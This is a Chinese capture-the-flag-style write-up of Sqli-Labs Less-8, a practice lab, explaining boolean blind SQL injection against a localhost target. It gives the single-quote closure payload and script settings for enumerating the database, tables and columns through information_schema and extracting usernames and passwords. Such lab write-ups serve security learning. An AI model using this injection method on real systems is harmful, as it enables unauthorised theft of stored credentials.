Sqli-Labs:Less8

基于Bool_GET_单引号_字符型_盲注

0x01. Less1、5、7、8回显对比

Less 注入方法 正确回显 错误回显
1 基于错误注入 查询到的用户名和密码 Mysql错误信息
5 双注入 固定字符串 Mysql错误信息
7 导出文件注入 固定字符串 另一固定字符串
8 Bool型盲注 固定字符串

Less1可以通过正确回显直接查询到数据,Less5可以从错误回显中得到信息。
而Less7和Less8不能显示任何有价值的回显,所以叫做盲注。
只要回显中有固定字符串,都可使用盲注脚本,如Less5。

盲注主要分为Bool型和Time型,Bool盲注通常涉及到的函数在Bool盲注脚本那篇已介绍过。

Bool盲注的中心思想是通过mid()等截取函数以二分法的形式查询逐个匹配想要的信息,过程通常都很耗时,所以一般写个盲注脚本来跑。

0x02. 脚本注入过程

Bool盲注脚本那篇的脚本适用于大部分情况,只需修改url,查询语句闭合,数据库、表和字段名即可。

分析查询语句详见Less7。

步骤一:数据库名

url = "http://localhost:8088/sqlilabs/Less-8/?id="
start_str = "1' and "
info_table_name = "schemata"
info_column_name = "schema_name"

Sqli-Labs:Less8_第1张图片

步骤二:表名

info_table_name = "tables"
info_column_name = "table_name"
database_name = "security"
where_str = " where table_schema='"+database_name+"'"

Sqli-Labs:Less8_第2张图片

步骤三:字段名

info_table_name = "columns"
info_column_name = "column_name"
table_name = "users"
where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"

步骤三:数据

column_name = ["id","username","password"]
select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"

Sqli-Labs:Less8_第3张图片

0x03. 吐槽

写Less5那天先把脚本写了是值得的。

你可能感兴趣的:(Sqli-Labs:Less8)